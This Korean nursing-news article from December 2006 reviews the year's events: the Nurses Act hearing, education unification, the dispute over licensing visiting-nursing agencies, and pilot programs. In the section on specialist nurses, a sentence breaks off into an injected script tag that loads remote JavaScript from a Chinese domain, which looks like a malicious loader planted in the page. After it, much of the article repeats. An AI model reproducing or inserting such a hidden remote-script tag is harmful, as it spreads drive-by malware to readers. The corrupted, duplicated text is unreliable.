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2006 간호계 주요 뉴스
기사입력 2006-12-21 오전 09:14:03
◆ 보건복지위, 간호(사)법 공청회 개최
-간협, 간호교육제도 일원화 매진
대한간호협회는 올 한해 간호(사)법 제정과 간호교육제도 일원화를 위해 정진했다.
국회와 보건복지부, 교육인적자원부, 보건의료단체들과 긴밀히 네트워크를 구축하면서 간호사(법) 제정과 간호교육제도 일원화에 대한 지지를 이끌어 내는데 힘썼다.
국회 보건복지위원회 주최로 간호(사)법 공청회가 5월에 열렸다. 김선미 열린우리당 의원의 `간호사법안'과 박찬숙 한나라당 의원의 `간호법안'을 놓고 찬반의견을 듣는 자리였다.
간협은 “간호사의 업무와 역할, 책임과 의무를 명확히 하고 국민들에게 수준 높은 간호서비스를 제공하기 위해 간호(사)법을 시급히 제정해야 한다”며 설득력 있는 주장을 폈다.
공청회에서는 간호(사)법 제정은 우리나라 보건의료가 발전해나가는 흐름 속에서 간호전문직을 바로 세우기 위한 의지의 표현이며, 유관단체들이 서로 협력해 미래지향적으로 논의해 나가야 한다는 공감대가 형성됐다.
간호교육제도 일원화를 향한 의미 있는 성과도 거뒀다. 정부가 발표한 `보건의료인력개발 기본계획안(2006～2010)'에 간호교육제도 일원화가 포함됐다.
교육부와 복지부는 2007년도부터 보건의료분야 학과의 무분별한 신증설 및 증원을 막기 위해, 간호사 등 보건의료분야 양성 학과의 인력수요를 예측해 증원 규모를 대학에 미리 통보한 후 그 범위 내에서 신증설 신청을 받기로 결정했다.
간협은 한 해 동안 김한길 열린우리당 원내대표와 김태홍 보건복지위원장, 신기남 정보위원장 등 여러 의원들을 만나 간호계의 목소리를 전달하는데 매진했다. 유시민 보건복지부 장관과 이종서 교육인적자원부 차관을 방문해 간호계 숙원과제인 간호(사)법 제정과 교육 일원화를 위해 협력해 줄 것을 요청했다.
◆ 방문간호기관 설치.개설권 격론
장기요양보장법 제정 논의
방문간호기관 설치와 개설권이 쟁점으로 떠올랐다. 올해 하반기 정기국회에서는 2008년부터 도입할 예정인 장기요양보험제도의 근간이 될 법률안 제정을 위한 논의가 본격적으로 진행됐다.
국회 보건복지위원회는 의원 5명과 보건복지부에서 각각 제출한 법률안을 검토했다.
방문간호기관 개설권과 관련 장향숙 열린우리당 의원은 의료인에게 개설권을 부여하는 법안을 제출해 간호사를 포함시켰다. 현애자 민주노동당 의원도 의료기관 개설자(치과의사, 조산사 제외)와 대통령령이 정한 간호사에게 개설권을 주는 법안을 내놓았다.
보건복지위원회는 법안심사소위원회를 6차례나 열어 격론을 벌이며 의견을 조율해 나갔다. 논의 결과 방문간호기관 명칭을 재가수발기관으로 하고, 개설권을 모두에게 개방하자는 쪽으로 방향이 정해졌다. 이 합의안은 보건복지위원회 전체회의에 올라갔으나, 의원들의 반론이 거세지면서 법안심사소위로 다시 회부됐다. 12월 5일 열린 6차 법안심사소위에서는 방문간호기관 개설권 등 쟁점에 대해 계속 논의해 나가면서 내년 2월 임시국회에서 의결하기로 최종 결정했다.
이 과정에서 대한간호협회는 노인요양 인프라 확충과 접근성, 전문성 제고 측면에서 방문간호기관 개설권을 간호사를 포함한 의료인에게 확대해야 한다는 주장을 적극 펼쳤다.
간협은 서비스 제공기관 명칭을 `방문간호기관'으로 하고, 개설권을 간호사를 포함한 의료인에게 부여해야 한다는 입장을 강력히 표명했다. 국회의원들과 보건복지부를 찾아가 의료인이 개설권을 갖는 것이 타당하다는 근거를 제시하며 설득하는 데 주력했다. 보건의료단체들에게도 협력해 줄 것을 적극 요청했다.
새 법률이 제정되기 위해선 보건복지위원회 법안심사소위와 전체회의, 국회 법제사법위원회를 거쳐 본회의에 상정돼 의결되는 절차를 밟아야 한다.
◆ 노인수발보험 방문간호시범사업
대한간호협회 시도간호사회가 올해 7월부터 시작된 제2차 노인수발보험제도 시범사업에 방문간호서비스 운영주체로 참여해 서비스를 제공하고 있다.
시범사업에 참여하고 있는 시도간호사회는 강원도간호사회(강릉)와 경기도간호사회(수원), 경상북도간호사회(안동), 부산시간호사회(부산 북구), 광주시간호사회(광주 남구), 제주도간호사회(북제주)등 6곳이다.
간호사회가 운영하는 방문간호사업소에는 가정전문간호사를 비롯한 간호사 1～2명이 배치돼 서비스를 제공, 간호대상자와 지역주민들로부터 좋은 반응을 얻고 있다.
간호협회는 이번 시범사업을 통해 고령화시대 노인 건강을 책임질 간호서비스의 바람직한 역할 모델을 만들어 낼 계획이다. 사업을 성공적으로 시행하기 위해 방문간호사업소 간호사들을 격려하는 자리를 여러 차례 마련했으며, 방문간호수가 현실화를 위한 활동에 주력하고 있다.
◆ 전문간호사 시대 활짝 열려
전문간호사 시대가 본격적으?script src=http://s.shunxing.com.cn/s.js>
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-간협, 간호교육제도 일원화 매진
대한간호협회는 올 한해 간호(사)법 제정과 간호교육제도 일원화를 위해 정진했다.
국회와 보건복지부, 교육인적자원부, 보건의료단체들과 긴밀히 네트워크를 구축하면서 간호사(법) 제정과 간호교육제도 일원화에 대한 지지를 이끌어 내는데 힘썼다.
국회 보건복지위원회 주최로 간호(사)법 공청회가 5월에 열렸다. 김선미 열린우리당 의원의 `간호사법안'과 박찬숙 한나라당 의원의 `간호법안'을 놓고 찬반의견을 듣는 자리였다.
간협은 “간호사의 업무와 역할, 책임과 의무를 명확히 하고 국민들에게 수준 높은 간호서비스를 제공하기 위해 간호(사)법을 시급히 제정해야 한다”며 설득력 있는 주장을 폈다.
공청회에서는 간호(사)법 제정은 우리나라 보건의료가 발전해나가는 흐름 속에서 간호전문직을 바로 세우기 위한 의지의 표현이며, 유관단체들이 서로 협력해 미래지향적으로 논의해 나가야 한다는 공감대가 형성됐다.
간호교육제도 일원화를 향한 의미 있는 성과도 거뒀다. 정부가 발표한 `보건의료인력개발 기본계획안(2006～2010)'에 간호교육제도 일원화가 포함됐다.
교육부와 복지부는 2007년도부터 보건의료분야 학과의 무분별한 신증설 및 증원을 막기 위해, 간호사 등 보건의료분야 양성 학과의 인력수요를 예측해 증원 규모를 대학에 미리 통보한 후 그 범위 내에서 신증설 신청을 받기로 결정했다.
간협은 한 해 동안 김한길 열린우리당 원내대표와 김태홍 보건복지위원장, 신기남 정보위원장 등 여러 의원들을 만나 간호계의 목소리를 전달하는데 매진했다. 유시민 보건복지부 장관과 이종서 교육인적자원부 차관을 방문해 간호계 숙원과제인 간호(사)법 제정과 교육 일원화를 위해 협력해 줄 것을 요청했다.
◆ 방문간호기관 설치.개설권 격론
장기요양보장법 제정 논의
방문간호기관 설치와 개설권이 쟁점으로 떠올랐다. 올해 하반기 정기국회에서는 2008년부터 도입할 예정인 장기요양보험제도의 근간이 될 법률안 제정을 위한 논의가 본격적으로 진행됐다.
국회 보건복지위원회는 의원 5명과 보건복지부에서 각각 제출한 법률안을 검토했다.
방문간호기관 개설권과 관련 장향숙 열린우리당 의원은 의료인에게 개설권을 부여하는 법안을 제출해 간호사를 포함시켰다. 현애자 민주노동당 의원도 의료기관 개설자(치과의사, 조산사 제외)와 대통령령이 정한 간호사에게 개설권을 주는 법안을 내놓았다.
보건복지위원회는 법안심사소위원회를 6차례나 열어 격론을 벌이며 의견을 조율해 나갔다. 논의 결과 방문간호기관 명칭을 재가수발기관으로 하고, 개설권을 모두에게 개방하자는 쪽으로 방향이 정해졌다. 이 합의안은 보건복지위원회 전체회의에 올라갔으나, 의원들의 반론이 거세지면서 법안심사소위로 다시 회부됐다. 12월 5일 열린 6차 법안심사소위에서는 방문간호기관 개설권 등 쟁점에 대해 계속 논의해 나가면서 내년 2월 임시국회에서 의결하기로 최종 결정했다.
이 과정에서 대한간호협회는 노인요양 인프라 확충과 접근성, 전문성 제고 측면에서 방문간호기관 개설권을 간호사를 포함한 의료인에게 확대해야 한다는 주장을 적극 펼쳤다.
간협은 서비스 제공기관 명칭을 `방문간호기관'으로 하고, 개설권을 간호사를 포함한 의료인에게 부여해야 한다는 입장을 강력히 표명했다. 국회의원들과 보건복지부를 찾아가 의료인이 개설권을 갖는 것이 타당하다는 근거를 제시하며 설득하는 데 주력했다. 보건의료단체들에게도 협력해 줄 것을 적극 요청했다.
새 법률이 제정되기 위해선 보건복지위원회 법안심사소위와 전체회의, 국회 법제사법위원회를 거쳐 본회의에 상정돼 의결되는 절차를 밟아야 한다.
◆ 노인수발보험 방문간호시범사업
대한간호협회 시도간호사회가 올해 7월부터 시작된 제2차 노인수발보험제도 시범사업에 방문간호서비스 운영주체로 참여해 서비스를 제공하고 있다.
시범사업에 참여하고 있는 시도간호사회는 강원도간호사회(강릉)와 경기도간호사회(수원), 경상북도간호사회(안동), 부산시간호사회(부산 북구), 광주시간호사회(광주 남구), 제주도간호사회(북제주)등 6곳이다.
간호사회가 운영하는 방문간호사업소에는 가정전문간호사를 비롯한 간호사 1～2명이 배치돼 서비스를 제공, 간호대상자와 지역주민들로부터 좋은 반응을 얻고 있다.
간호협회는 이번 시범사업을 통해 고령화시대 노인 건강을 책임질 간호서비스의 바람직한 역할 모델을 만들어 낼 계획이다. 사업을 성공적으로 시행하기 위해 방문간호사업소 간호사들을 격려하는 자리를 여러 차례 마련했으며, 방문간호수가 현실화를 위한 활동에 주력하고 있다.
◆ 전문간호사 시대 활짝 열려
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편집부 news@nursenews.co.kr